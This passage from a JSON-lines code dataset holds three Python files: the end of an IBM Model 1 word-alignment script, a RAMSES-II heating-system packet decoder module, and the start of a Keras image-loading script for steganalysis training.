range(l1):\r\n s = s + en_words[i] + ' :\\t '\r\n for j in range(l2):\r\n s = s + str(round(t[i][j],2)) + '\\t'\r\n s = s + '\\n'\r\nprint(s)'''\r\n \r\nx = 2000 \r\n \r\nwhile( x ):\r\n # initialize\r\n \r\n \r\n converged = True \r\n \r\n for i in range(n):\r\n #compute normalization\r\n e = en_sentence[i].split(' ')\r\n f = fr_sentence[i].split(' ')\r\n \r\n for en_word in e :\r\n e1 = en_words.index(en_word)\r\n stotal[e1] = 0\r\n \r\n for fr_word in f :\r\n f1 = fr_words.index(fr_word)\r\n stotal[e1] += t[e1][f1]\r\n \r\n # collect counts\r\n for en_word in e :\r\n for fr_word in f :\r\n e1 = en_words.index(en_word)\r\n f1 = fr_words.index(fr_word)\r\n \r\n count[e1][f1] += t[e1][f1]/stotal[e1]\r\n total[f1] += t[e1][f1]/stotal[e1]\r\n \r\n #estimate probabilities\r\n for fr_word in fr_words:\r\n for en_word in en_words:\r\n e1 = en_words.index(en_word)\r\n f1 = fr_words.index(fr_word)\r\n t[e1][f1] = count[e1][f1]/total[f1]\r\n \r\n #check for convergence\r\n \"\"\"\r\n for i in range(l1):\r\n for j in range(l2):\r\n if( t[i][j] > 0.05 and t[i][j] < 0.95):\r\n converged = False \"\"\"\r\n \r\n x = x-1\r\n\r\n#print(s1)\r\n \r\ns='\\t'\r\nfor j in range(l2):\r\n s = s + fr_words[j] + '\\t'\r\ns = s + '\\n'\r\n \r\nfor i in range(l1):\r\n s = s + en_words[i] + ' :\\t '\r\n for j in range(l2):\r\n s = s + str(round(t[i][j],2)) + '\\t'\r\n s = s + '\\n'\r\nprint(s)\r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ","sub_path":"IBM1.py","file_name":"IBM1.py","file_ext":"py","file_size_in_byte":3697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"538787080","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n\"\"\"RAMSES RF - a RAMSES-II protocol decoder & analyser.\n\nDecode/process a packet (packet that was received).\n\"\"\"\n\nimport logging\nfrom datetime import datetime as dt\nfrom datetime import timedelta as td\nfrom typing import ByteString, Optional, Tuple, Union\n\nfrom .address import NON_DEV_ADDR, pkt_addrs\nfrom .const import DONT_CREATE_ENTITIES, MESSAGE_REGEX\n\n# from .devices import Device # TODO: fix cyclic reference\nfrom .exceptions import CorruptAddrSetError, CorruptStateError\nfrom .logger import getLogger\nfrom .ramses import (\n CODE_IDX_COMPLEX,\n CODE_IDX_DOMAIN,\n CODE_IDX_NONE,\n CODE_IDX_SIMPLE,\n CODE_ONLY_FROM_CTL,\n CODES_WITH_ARRAYS,\n EXPIRES,\n RAMSES_CODES,\n)\n\nfrom .const import I_, RP, RQ, W_, __dev_mode__ # noqa: F401, isort: skip\nfrom .const import ( # noqa: F401, isort: skip\n _0001,\n _0002,\n _0004,\n _0005,\n _0006,\n _0008,\n _0009,\n _000A,\n _000C,\n _000E,\n _0016,\n _0100,\n _01D0,\n _01E9,\n _0404,\n _0418,\n _042F,\n _1030,\n _1060,\n _1090,\n _10A0,\n _10E0,\n _1100,\n _1260,\n _1280,\n _1290,\n _1298,\n _12A0,\n _12B0,\n _12C0,\n _12C8,\n _1F09,\n _1F41,\n _1FC9,\n _1FD4,\n _2249,\n _22C9,\n _22D0,\n _22D9,\n _22F1,\n _22F3,\n _2309,\n _2349,\n _2D49,\n _2E04,\n _30C9,\n _3120,\n _313F,\n _3150,\n _31D9,\n _31DA,\n _31E0,\n _3220,\n _3B00,\n _3EF0,\n _3EF1,\n _PUZZ,\n)\n\nDEV_MODE = __dev_mode__ and False # or True\n\n_LOGGER = logging.getLogger(__name__)\nif DEV_MODE:\n _LOGGER.setLevel(logging.DEBUG)\n\n_PKT_LOGGER = getLogger(f\"{__name__}_log\", pkt_log=True)\n\n\nclass PacketBase:\n \"\"\"The packet base - used by Command and Packet classes.\"\"\"\n\n def __init__(self) -> None:\n\n self.__has_array = None\n self.__has_ctl = None\n self.__ctx = None\n self.__idx = None\n self.__hdr = None\n\n @property\n def _has_array(self) -> Optional[bool]:\n \"\"\"Return the True if the packet payload is an array, False if not.\n\n May return false negatives (e.g. arrays of length 1), and None if undetermined.\n\n An example of a false negative is evohome with only one zone (i.e. the periodic\n 2309/30C9/000A packets).\n \"\"\"\n\n if self.__has_array is not None:\n return self.__has_array\n\n # False -ves (array length is 1) are an acceptable compromise to extensive checking\n\n # W --- 01:145038 34:092243 --:------ 1FC9 006 07230906368E\n # I --- 01:145038 --:------ 01:145038 1FC9 018 07000806368E-FC3B0006368E-071FC906368E\n # I --- 01:145038 --:------ 01:145038 1FC9 018 FA000806368E-FC3B0006368E-FA1FC906368E\n # I --- 34:092243 --:------ 34:092243 1FC9 030 0030C9896853-002309896853-001060896853-0010E0896853-001FC9896853\n if self.code == _1FC9:\n self.__has_array = self.verb != RQ # safe to treat all as array, even len=1\n\n elif self.verb != I_ or self.code not in CODES_WITH_ARRAYS:\n self.__has_array = False\n\n elif self.len == CODES_WITH_ARRAYS[self.code][0]: # NOTE: can be false -ves\n self.__has_array = False\n\n else:\n _len = CODES_WITH_ARRAYS[self.code][0]\n assert (\n self.len % _len == 0\n ), f\"{self} << array has length ({self.len}) that is not multiple of {_len}\"\n assert (\n self.src.type in (\"12\", \"22\") or self.src == self.dst\n ), f\"{self} << array is from a non-controller (01)\"\n assert (\n self.src.type not in (\"12\", \"22\") or self.dst == NON_DEV_ADDR\n ), f\"{self} << array is from a non-controller (02)\"\n self.__has_array = True\n\n # I --- 10:040239 01:223036 --:------ 0009 003 000000 # not array\n # I --- 01:102458 --:------ 01:102458 0009 006 FC01FF-F901FF\n # I --- 01:145038 --:------ 01:145038 0009 006 FC00FF-F900FF\n # I 034 --:------ --:------ 12:126457 2309 006 017EFF-027EFF\n # I --- 01:223036 --:------ 01:223036 000A 012 081001F40DAC-091001F40DAC # 2nd fragment\n # I 024 --:------ --:------ 12:126457 000A 012 010001F40BB8-020001F40BB8\n # I --- 02:044328 --:------ 02:044328 22C9 018 0001F40A2801-0101F40A2801-0201F40A2801\n # I --- 23:100224 --:------ 23:100224 2249 007 007EFF7EFFFFFF # can have 2 zones\n # I --- 02:044328 --:------ 02:044328 22C9 018 0001F40A2801-0101F40A2801-0201F40A2801\n # I --- 02:001107 --:------ 02:001107 3150 010 007A-017A-027A-036A-046A\n\n return self.__has_array\n\n @property\n def _has_ctl(self) -> Optional[bool]:\n \"\"\"Return True if the packet is to/from a controller.\"\"\"\n\n if self.__has_ctl is not None:\n return self.__has_ctl\n\n # TODO: handle RQ/RP to/from HGI/RFG, handle HVAC\n\n # TODO: Not needed? Relies upon MSG layer in any case\n # if getattr(self.src, \"_is_controller\", False):\n # # _LOGGER.info(\"HAS Controller (00)\")\n # return True\n # if getattr(self.dst, \"_is_controller\", False):\n # # _LOGGER.info(\"HAS controller (01)\")\n # return True\n\n if {self.src.type, self.dst.type} & {\"01\", \"02\", \"23\"}:\n _LOGGER.debug(f\"{self} # HAS controller (10)\")\n self.__has_ctl = True\n\n # I --- 12:010740 --:------ 12:010740 30C9 003 0008D9 # not ctl\n elif self.dst is self.src: # (not needed?) & self.code == I_:\n _LOGGER.debug(\n f\"{self} << \"\n + (\"HAS\" if self.code in CODE_ONLY_FROM_CTL + [_31D9, _31DA] else \"no\")\n + \" controller (20)\"\n )\n self.__has_ctl = any(\n (\n self.code == _3B00 and self.payload[:2] == \"FC\",\n self.code in CODE_ONLY_FROM_CTL + [_31D9, _31DA],\n )\n )\n\n # I --- --:------ --:------ 10:050360 1FD4 003 002ABE # no ctl\n # I 095 --:------ --:------ 12:126457 1F09 003 000BC2 # HAS ctl\n # I --- --:------ --:------ 20:001473 31D9 003 000001 # ctl? (HVAC)\n elif self.dst is NON_DEV_ADDR:\n _LOGGER.debug(f\"{self} # HAS controller (21)\")\n self.__has_ctl = self.src.type != \"10\"\n\n # I --- 10:037879 --:------ 12:228610 3150 002 0000 # HAS ctl\n # I --- 04:029390 --:------ 12:126457 1060 003 01FF01 # HAS ctl\n elif self.dst.type in (\"12\", \"22\"):\n _LOGGER.debug(f\"{self} # HAS controller (22)\")\n self.__has_ctl = True\n\n # RQ --- 30:258720 10:050360 --:------ 3EF0 001 00 # UNKNOWN (99)\n # RP --- 10:050360 30:258720 --:------ 3EF0 006 000011010A1C # UNKNOWN (99)\n\n # RQ --- 18:006402 13:049798 --:------ 1FC9 001 00\n # RP --- 13:049798 18:006402 --:------ 1FC9 006 003EF034C286\n # RQ --- 30:258720 10:050360 --:------ 22D9 001 00\n # RP --- 10:050360 30:258720 --:------ 22D9 003 0003E8\n # RQ --- 30:258720 10:050360 --:------ 3220 005 0000120000\n # RP --- 10:050360 30:258720 --:------ 3220 005 0040120166\n # RQ --- 30:258720 10:050360 --:------ 3EF0 001 00\n # RP --- 10:050360 30:258720 --:------ 3EF0 006 000011010A1C\n\n # I --- 34:021943 63:262142 --:------ 10E0 038 000001C8380A01... # unknown\n # I --- 32:168090 30:082155 --:------ 31E0 004 0000C800 # unknown\n if self.__has_ctl is None:\n if DEV_MODE and \"18\" not in (self.src.type, self.dst.type):\n _LOGGER.warning(f\"{self} # has_ctl - undetermined (99)\")\n self.__has_ctl = False\n\n return self.__has_ctl\n\n @property\n def _idx(self) -> Union[str, bool]:\n \"\"\"Return the payload's index, if any (e.g. zone_idx, domain_id, or log_idx).\n\n Used to route a packet to the correct entity's (i.e. zone/domain) msg handler.\n \"\"\"\n\n if self.__idx is None and self.is_valid:\n self.__idx = _pkt_idx(self) or False\n return self.__idx\n\n @property\n def _ctx(self) -> Union[str, bool]:\n \"\"\"Return the payload's full context, if any (e.g. for 0404: zone_idx/frag_idx).\n\n Used to store packets in the entity's message DB.\n \"\"\"\n\n if self.__ctx is None and self.is_valid:\n if self.code in (_0005, _000C): # zone_idx, zone_type (device_class)\n self.__ctx = self.payload[:4]\n elif self.code == _0404: # zone_idx, frag_idx\n self.__ctx = self.payload[:2] + self.payload[10:12]\n else:\n self.__ctx = self._idx\n return self.__ctx\n\n @property\n def _hdr(self) -> str:\n \"\"\"Return the QoS header (fingerprint) of this packet (i.e. device_id/code/hdr).\n\n Used for QoS (timeouts, retries), callbacks, etc.\n \"\"\"\n\n if self.__hdr is None and self.is_valid:\n self.__hdr = _pkt_hdr(self)\n return self.__hdr\n\n\nclass Packet(PacketBase):\n \"\"\"The packet class; should trap/log all invalid PKTs appropriately.\"\"\"\n\n def __init__(self, gwy, dtm: dt, frame: str, **kwargs) -> None:\n \"\"\"Create a packet from a valid frame.\"\"\"\n super().__init__()\n\n assert kwargs.get(\"dtm_str\") is None or (\n kwargs.get(\"dtm_str\") == dtm.isoformat(timespec=\"microseconds\")\n ), \"dtm_str doesn't match dtm.isoformat\"\n\n self._gwy = gwy\n self.dtm = dtm\n self._date, self._time = (\n kwargs.get(\"dtm_str\") or dtm.isoformat(timespec=\"microseconds\")\n ).split(\"T\")\n # self.created = dtm.timestamp() # HACK: used by logger\n # self.msecs = (self.created - int(self.created)) * 1000\n\n self.packet = frame\n self.comment = kwargs.get(\"comment\")\n self.error_text = kwargs.get(\"err_msg\")\n self.raw_frame = kwargs.get(\"raw_frame\")\n\n # addrs are populated in self.is_valid()\n self.addrs = [None] * 3\n self.src = self.dst = None\n\n self._is_valid = None\n if not self.is_valid:\n raise ValueError(f\"not a valid packet: {frame}\")\n\n # TODO: these are not presently used\n self.rssi = self.packet[0:3]\n self.verb = self.packet[4:6]\n self.seqn = self.packet[7:10]\n self.code = self.packet[41:45]\n self.len = int(self.packet[46:49])\n self.payload = self.packet[50:]\n\n # these are calculated if/when required\n self.__timeout = None\n\n _ = self._has_array # TODO: remove (is for testing only)\n _ = self._has_ctl # # TODO: remove (is for testing only)\n\n @classmethod\n def from_dict(cls, gwy, dtm: str, pkt: str):\n \"\"\"Constructor to create a packet from a saved state (a curated dict).\"\"\"\n return cls(gwy, dt.fromisoformat(dtm), pkt, dtm_str=dtm)\n\n @classmethod\n def from_file(cls, gwy, dtm: str, pkt_line: str):\n \"\"\"Constructor to create a packet from a log file line.\"\"\"\n frame, err_msg, comment = cls._partition(pkt_line)\n return cls(\n gwy,\n dt.fromisoformat(dtm),\n frame,\n dtm_str=dtm,\n err_msg=err_msg,\n comment=comment,\n )\n\n @classmethod\n def from_port(cls, gwy, dtm: dt, pkt_line: str, raw_line: ByteString = None):\n \"\"\"Constructor to create a packet from a usb port (HGI80, evofw3).\"\"\"\n frame, err_msg, comment = cls._partition(pkt_line)\n return cls(\n gwy, dtm, frame, err_msg=err_msg, comment=comment, raw_frame=raw_line\n )\n\n def __repr__(self) -> str:\n \"\"\"Return an unambiguous string representation of this object.\"\"\"\n return self.raw_frame or self.packet\n\n def __str__(self) -> str:\n \"\"\"Return a brief readable string representation of this object.\"\"\"\n return self.packet\n\n def __eq__(self, other) -> bool:\n if not hasattr(other, \"packet\"):\n return NotImplemented\n return self.packet == other.packet\n\n @staticmethod\n def _partition(pkt_line: str) -> Tuple[str, str, str]:\n \"\"\"Partition a packet line into its three parts.\n\n Format: packet[ < parser-hint: ...][ * evofw3-err_msg][ # evofw3-comment]\n \"\"\"\n\n fragment, _, comment = pkt_line.partition(\"#\")\n fragment, _, err_msg = fragment.partition(\"*\")\n pkt_str, _, _ = fragment.partition(\"<\") # discard any parser hints\n return (\n pkt_str.strip(),\n f\" * {err_msg.strip()}\" if err_msg else \" *\" if \"*\" in pkt_line else \"\",\n f\" # {comment.strip()}\" if comment else \"\",\n )\n\n @property\n def _expired(self) -> float:\n \"\"\"Return fraction used of the normal lifetime of packet.\n\n A packet is 'expired' when >1.0, and should be tombstoned when >2.0. Returns\n False if the packet does not expire.\n \"\"\"\n\n if self.__timeout is None and self.is_valid:\n self.__timeout = pkt_timeout(self) or False\n\n if self.__timeout is False:\n return False\n\n return (self._gwy._dt_now() - self.dtm) / self.__timeout\n\n @property\n def is_valid(self) -> Optional[bool]:\n \"\"\"Return True if the packet is valid (will log all packets, regardless).\"\"\"\n\n def invalid_addresses(addr_set: str) -> Optional[bool]:\n \"\"\"Return True if the address fields are invalid (create any addresses).\"\"\"\n try:\n self.src, self.dst, self.addrs = pkt_addrs(addr_set)\n # print(pkt_addrs.cache_info())\n except CorruptAddrSetError:\n return True\n\n if self._is_valid is not None or not self.packet:\n return self._is_valid\n\n self._is_valid = False\n if self.error_text: # log all packets with an error\n if self.packet:\n _PKT_LOGGER.warning(\"%s < Bad packet:\", self, extra=self.__dict__)\n else:\n _PKT_LOGGER.warning(\"< Bad packet:\", extra=self.__dict__)\n return False\n\n if not self.packet and self.comment: # log null packets only if has a comment\n _PKT_LOGGER.warning(\n \"< Null packet\", extra=self.__dict__\n ) # best as a debug?\n return False\n\n # TODO: these packets shouldn't go to the packet log, only STDERR?\n if not MESSAGE_REGEX.match(self.packet):\n err_msg = \"invalid packet structure\"\n elif int(self.packet[46:49]) * 2 != len(self.packet[50:]):\n err_msg = \"mismatched payload length\"\n elif invalid_addresses(self.packet[11:40]):\n err_msg = \"invalid packet addresses\"\n # elif self.code not in RAMSES_CODES:\n # return False\n else:\n _PKT_LOGGER.info(\"%s\", self.packet, extra=self.__dict__)\n self._is_valid = True\n return True\n\n _PKT_LOGGER.warning(\"%s < Bad packet: %s\", self, err_msg, extra=self.__dict__)\n return False # TODO: remove\n\n\ndef _pkt_idx(pkt) -> Union[str, bool, None]: # _has_array, _has_ctl\n \"\"\"Return the payload's 2-byte context (e.g. zone_idx, log_idx, domain_id).\n\n May return a 2-byte string (usu. pkt.payload[:2]), or:\n - False if there is no context at all\n - True if the payload is an array\n - None if it is indeterminable\n \"\"\"\n # The three iterables (none, simple, complex) are mutex\n\n # FIXME: 0016 is broken\n\n # mutex 2/4, CODE_IDX_COMPLEX: are not payload[:2]\n if pkt.code == _0005:\n return pkt._has_array\n\n # I --- 10:040239 01:223036 --:------ 0009 003 000000\n if pkt.code == _0009 and pkt.src.type == \"10\":\n return False\n\n if pkt.code == _000C: # zone_idx/domain_id (complex, payload[0:4])\n if pkt.payload[2:4] in (\"0D\", \"0E\"): # (\"000D\", _000E, \"010E\")\n return \"FA\"\n if pkt.payload[2:4] == \"0F\": # (\"000F\", )\n return \"FC\"\n return pkt.payload[:2]\n\n # if pkt.code == _0404: # TODO: is entry needed here, esp. for DHW?\n\n if pkt.code == _0418: # log_idx (payload[4:6])\n return pkt.payload[4:6]\n\n if pkt.code == _1100: # TODO; can do in parser\n return pkt.payload[:2] if pkt.payload[:1] == \"F\" else False # only FC\n\n if pkt.code == _3220: # msg_id/data_id (payload[4:6])\n return pkt.payload[4:6]\n\n if pkt.code in CODE_IDX_COMPLEX:\n raise NotImplementedError(f\"{pkt} # CODE_IDX_COMPLEX\") # a coding error\n\n # mutex 1/4, CODE_IDX_NONE: always returns False\n if pkt.code in CODE_IDX_NONE: # returns False\n assert (\n RAMSES_CODES[pkt.code].get(pkt.verb, \"\")[:3] != \"^00\"\n or pkt.payload[:2] == \"00\"\n ), f\"{pkt} # index is {pkt.payload[:2]}, expecting 00\"\n return False\n\n # mutex 3/4, CODE_IDX_SIMPLE: potentially some false -ves?\n if pkt._has_array:\n return True # excludes len==1 for 000A, 2309, 30C9\n\n # TODO: is this needed?: exceptions to CODE_IDX_SIMPLE\n if pkt.payload[:2] in (\"F8\", \"F9\", \"FA\", \"FC\"): # TODO: FB, FD\n assert (\n pkt.code in CODE_IDX_DOMAIN\n ), f\"Payload index is {pkt.payload[:2]}, not expecting a domain_id\"\n return pkt.payload[:2]\n\n if pkt._has_ctl: # risk of false -ves, TODO: pkt.src.type == \"18\" too?\n # 02: 22C9: would be picked up as an array, if len==1 counted\n # 03: # I 028 03:094242 --:------ 03:094242 30C9 003 010B22 # ctl\n # 12/22: 000A|1030|2309|30C9 from (addr0 --:), 1060|3150 (addr0 04:)\n # 23: 0009|10A0\n return pkt.payload[:2] # pkt._gwy.config.max_zones checked elsewhere\n\n if pkt.payload[:2] != \"00\":\n _LOGGER.warning(f\"{pkt} # Expecting payload index to be 00\") # and: return None\n return pkt.payload[:2]\n\n if pkt.code in CODE_IDX_SIMPLE:\n return # False # TODO: return None (less precise) or risk false -ves?\n\n # mutex 4/4, CODE_IDX_UNKNOWN: an unknown code\n _LOGGER.warning(f\"{pkt} # Unable to determine payload index\") # and: return None\n\n\ndef _pkt_hdr(pkt, rx_header=None) -> Optional[str]: # NOTE: used in command.py\n \"\"\"Return the QoS header of a packet.\"\"\"\n\n # offer, bid. accept\n # I --- 12:010740 --:------ 12:010740 1FC9 024 0023093029F40030C93029F40000083029F4001FC93029F4\n # W --- 01:145038 12:010740 --:------ 1FC9 006 07230906368E\n # I --- 12:010740 01:145038 --:------ 1FC9 006 0023093029F4\n\n # I --- 07:045960 --:------ 07:045960 1FC9 012 0012601CB388001FC91CB388\n # W --- 01:145038 07:045960 --:------ 1FC9 006 0010A006368E\n # I --- 07:045960 01:145038 --:------ 1FC9 006 0012601CB388\n\n # I --- 04:189076 63:262142 --:------ 1FC9 006 0030C912E294\n # I --- 01:145038 --:------ 01:145038 1FC9 018 07230906368E0730C906368E071FC906368E\n # W --- 04:189076 01:145038 --:------ 1FC9 006 0030C912E294\n # I --- 01:145038 04:189076 --:------ 1FC9 006 00FFFF06368E\n\n # if pkt.code == _1FC9 and rx_header: # offer, bid, accept\n # if pkt.verb == I_ and pkt.dst == NUL_DEV_ADDR:\n # return \"|\".join((I_, pkt.code))\n # if pkt.verb == I_ and pkt.src == pkt.dst:\n # return \"|\".join((W_, pkt.dst.id, pkt.code))\n # if pkt.verb == W_:\n # return \"|\".join((I_, pkt.src.id, pkt.code))\n # if pkt.verb == I_:\n # return \"|\".join((I_, pkt.src.id, pkt.code))\n\n if pkt.code == _1FC9: # NOTE: 1FC9 is treated as no idx, but needs a hdr\n if pkt.src == pkt.dst:\n if rx_header:\n return \"|\".join((W_, pkt.dst.id, pkt.code))\n return \"|\".join(I_, pkt.src.id, pkt.code)\n if pkt.verb == W_:\n return \"|\".join((W_, pkt.dst.id, pkt.code)) if not rx_header else None\n if rx_header:\n return\n\n verb = pkt.verb\n if rx_header:\n if verb == I_ or pkt.src == pkt.dst: # usu. announcements, not requiring an Rx\n return\n # if pkt.verb == RQ and RQ not in RAMSES_CODES.get(pkt.code, []):\n # return\n verb = RP if pkt.verb == RQ else I_ # RQ/RP, or W/I\n\n addr = pkt.dst if pkt.src.type == \"18\" else pkt.src\n header = \"|\".join((verb, addr.id, pkt.code))\n\n return f\"{header}|{pkt._ctx}\" if isinstance(pkt._ctx, str) else header\n\n\ndef pkt_timeout(pkt) -> Optional[float]: # NOTE: imports OtbGateway\n \"\"\"Return the pkt lifetime.\n\n Will return None if the packet does not expire (e.g. 10E0).\n\n Some codes require a valid payload: 1F09, 3220\n \"\"\"\n\n timeout = None\n\n if pkt.verb in (RQ, W_):\n timeout = td(seconds=3)\n\n elif pkt.code in (_0005, _000C, _10E0):\n return # TODO: exclude/remove devices caused by corrupt ADDRs?\n\n elif pkt.code == _1FC9 and pkt.verb == RP:\n return # TODO: check other verbs, they seem variable\n\n elif pkt.code == _1F09:\n # if msg: td(seconds=pkt.payload[\"remaining_seconds\"])\n timeout = td(seconds=300) # usu: 180-300\n\n elif pkt.code == _000A and pkt._has_array:\n timeout = td(minutes=60) # sends I /1h\n\n elif pkt.code in (_2309, _30C9) and pkt._has_array:\n timeout = td(minutes=15) # sends I /sync_cycle\n\n elif pkt.code == _3220:\n # if msg: complicated\n return\n\n # elif pkt.code in (_3B00, _3EF0, ): # TODO: 0008, 3EF0, 3EF1\n # timeout = td(minutes=6.7) # TODO: WIP\n\n elif pkt.code in RAMSES_CODES:\n timeout = RAMSES_CODES[pkt.code].get(EXPIRES)\n\n return timeout or td(minutes=60)\n\n\ndef _create_devices(this: Packet) -> None:\n \"\"\"Discover and create any new devices.\"\"\"\n from .devices import Device # TODO: remove this\n\n if this.src.type in (\"01\", \"23\") and this.src is not this.dst: # TODO: all CTLs\n this.src = this._gwy._get_device(this.src, ctl_addr=this.src)\n ctl_addr = this.src if this._gwy.config.enable_eavesdrop else None\n this._gwy._get_device(this.dst, ctl_addr=ctl_addr)\n\n elif this.dst.type in (\"01\", \"23\") and this.src is not this.dst: # all CTLs\n this.dst = this._gwy._get_device(this.dst, ctl_addr=this.dst)\n ctl_addr = this.dst if this._gwy.config.enable_eavesdrop else None\n this._gwy._get_device(this.src, ctl_addr=ctl_addr)\n\n # this should catch all non-controller (and *some* controller) devices\n elif this.src is this.dst:\n this._gwy._get_device(this.src)\n\n # otherwise one will be a controller, *unless* dst is in (\"--\", \"63\")\n elif isinstance(this.src, Device) and this.src._is_controller:\n this._gwy._get_device(this.dst, ctl_addr=this.src)\n\n # TODO: may create a controller that doesn't exist\n elif isinstance(this.dst, Device) and this.dst._is_controller:\n this._gwy._get_device(this.src, ctl_addr=this.dst)\n\n else:\n # beware: I --- --:------ --:------ 10:078099 1FD4 003 00F079\n [this._gwy._get_device(d) for d in (this.src, this.dst)]\n\n # where possible, swap each Address for its corresponding Device\n this.src = this._gwy.device_by_id.get(this.src.id, this.src)\n if this.dst is not None:\n this.dst = this._gwy.device_by_id.get(this.dst.id, this.dst)\n\n\ndef process_pkt(pkt: Packet) -> Optional[bool]:\n \"\"\"Process the (valid) packet's metadata (but dont process the payload).\"\"\"\n\n if _LOGGER.getEffectiveLevel() == logging.INFO: # i.e. don't log for DEBUG\n _LOGGER.info(pkt)\n\n if not pkt.is_valid or pkt._gwy.config.reduce_processing >= DONT_CREATE_ENTITIES:\n return False\n\n try: # process the packet meta-data\n # TODO: This will need to be removed for HGI80-impersonation\n if pkt.src.type != \"18\": # 18:/RQs are unreliable, but corresponding RPs?\n _create_devices(pkt) # from pkt header & from pkt payload (e.g. 000C)\n\n except (AssertionError, NotImplementedError) as err:\n (_LOGGER.error if DEV_MODE else _LOGGER.warning)(\n \"%s << %s\", pkt._pkt, f\"{err.__class__.__name__}({err})\"\n )\n return False # NOTE: use raise only when debugging\n\n except (AttributeError, LookupError, TypeError, ValueError) as err:\n (_LOGGER.exception if DEV_MODE else _LOGGER.error)(\n \"%s << %s\", pkt._pkt, f\"{err.__class__.__name__}({err})\"\n )\n return False # NOTE: use raise only when debugging\n\n except CorruptStateError as err: # TODO: add CorruptPacketError\n (_LOGGER.exception if DEV_MODE else _LOGGER.error)(\"%s << %s\", pkt._pkt, err)\n return False # TODO: bad pkt, or Schema\n\n pkt._gwy._prev_pkt = pkt\n","sub_path":"ramses_rf/packet.py","file_name":"packet.py","file_ext":"py","file_size_in_byte":24449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"515030539","text":"# 配合wifs_net_tf_v2使用\r\nfrom PIL import Image\r\nfrom keras import backend as K\r\nfrom keras.utils.vis_utils import plot_model\r\nfrom keras.models import *\r\nfrom keras.layers import *\r\nimport glob\r\nimport pickle\r\nimport numpy as np\r\nimport tensorflow.gfile as gfile\r\nimport matplotlib.pyplot as plt\r\nfrom scipy import ndimage\r\nimport tensorflow as tf\r\nimport cv2\r\n\r\ndef resize(img, width=256, height=256):\r\n \"\"\"\r\n 将1024 1024图像缩放至256 256\r\n :param img:\r\n :return:缩放后的图像\r\n \"\"\"\r\n img_resized = img.resize((width, height), Image.ANTIALIAS)\r\n\r\n return img_resized\r\n\r\n\r\n# 转换为灰度图\r\ndef rgb2gray(img):\r\n \"\"\"\r\n 利用公式对灰度图进行转换\r\n :param img:\r\n :return:\r\n \"\"\"\r\n # Y' = 0.299 R + 0.587 G + 0.114 B\r\n # https://en.wikipedia.org/wiki/Grayscale#Converting_color_to_grayscale\r\n return np.dot(img[..., :3], [0.299, 0.587, 0.114])\r\n\r\n\r\ndef Data_Process_For_Train_v3(DATA_DIR):\r\n \"\"\"\r\n 分别将训练数据读入X_train中\r\n\r\n\r\n :param TRAIN_DATA_DIR:\r\n :return: X_train np.array类型\r\n\r\n \"\"\"\r\n X_train = []\r\n # 先添加的是stego\r\n for filename in glob.glob(DATA_DIR + '/stego/' + '*.jpg'):\r\n # print(filename)\r\n\r\n # 先做一次resize缩放\r\n img = resize(Image.open(filename))\r\n img = np.array(img) # 将缩放后的图片转换成np array\r\n X_train.append(img) # 将滤波后的图片添加进X_train\r\n\r\n stego_len = len(X_train) # 记录stego图片的数量\r\n\r\n # 后添加的是cover\r\n for filename in glob.glob(DATA_DIR + '/cover/' + '*.jpg'):\r\n # print(filename)\r\n img = resize(Image.open(filename))\r\n img = np.array(img) # 将缩放后的图片转换成np array\r\n\r\n X_train.append(img)\r\n\r\n total_length = len(X_train) # 数组图片的总数\r\n # 转换为np.array类型\r\n X_train = np.array(X_train, dtype=np.float32)\r\n\r\n labels = np.zeros((total_length, 2))\r\n # print(one_hot.shape)\r\n for i in range(stego_len):\r\n labels[i, 0] = 1\r\n\r\n for i in range(total_length - stego_len):\r\n labels[i+stego_len, 1] = 1\r\n\r\n\r\n return X_train, labels\r\n\r\n\r\ndef validation(TXT_DIR, length):\r\n \"\"\"\r\n 用于读取validation_data\r\n :param TXT_DIR: validationdata的路径\r\n :param length: 我们要读的长度,这里会将X_test的长度传入\r\n :return: np.array validate\r\n \"\"\"\r\n with open(TXT_DIR) as labels:\r\n # 使用splitlines去掉换行符\\n\r\n # 使用read方法计数的时候,会把换行符给计入,所以我们要在原有的长度乘2\r\n labels = labels.read(length * 2).splitlines()\r\n\r\n validate = []\r\n\r\n for i in labels:\r\n # 由于读入的是字符串,所以判定不能直接拿数字0,而是字符0\r\n if i == '0':\r\n validate.append([0, 1])\r\n else:\r\n validate.append([1, 0])\r\n\r\n # print(validate)\r\n validate = np.array(validate)\r\n # print(validate.shape)\r\n\r\n return validate\r\n\r\n\r\n\r\ndef Data_Process_For_TestValidation_v2(DATA_DIR, TXT_DIR):\r\n \"\"\"\r\n 处理验证的图片数据\r\n :param DATA_DIR: 训练集的路径\r\n TXT_DIR: 验证集标签txt文件的路径\r\n :return:\r\n \"\"\"\r\n X_test = []\r\n\r\n for filename in glob.glob(DATA_DIR + '/*.jpg'):\r\n # 先做一次resize缩放\r\n img = resize(Image.open(filename))\r\n img = np.array(img) # 将缩放后的图片转换成np array\r\n X_test.append(img) # 将滤波后的图片添加进X_train\r\n\r\n length = len(X_test) # 用于文档读取\r\n\r\n validate = validation(TXT_DIR, length)\r\n X_test = np.array(X_test, dtype=np.float32)\r\n\r\n return X_test, np.array(validate)\r\n\r\n# TEST_DATA_DIR = './test_data' # 测试数据的路径\r\n# TXT_DIR = r'./valid_labels.txt'\r\n\r\n# X_test, validate = Data_Process_For_TestValidation_v2(TEST_DATA_DIR, TXT_DIR)\r\n# print(X_test.shape)\r\n# print(validate.shape)\r\n# print(validate)\r\n\r\ndef Normalize(X_train):\r\n \"\"\"\r\n 对数据规范化\r\n 也就是将灰度值除以255\r\n :param X_train:\r\n :return:\r\n \"\"\"\r\n return X_train / 255\r\n\r\ndef fit_keras_channels(batch, rows=1024, cols=1024):\r\n if K.image_data_format() == 'channels_first':\r\n batch = batch.reshape(batch.shape[0], 3, rows, cols)\r\n input_shape = (3, rows, cols)\r\n else:\r\n batch = batch.reshape(batch.shape[0], rows, cols, 3)\r\n input_shape = (rows, cols, 3)\r\n\r\n return batch, input_shape\r\n\r\ndef double_Shuffle(shuffle_1, shuffle_2):\r\n \"\"\"\r\n 使用相同的状态shuffle两个np.array\r\n example\r\n [0 1 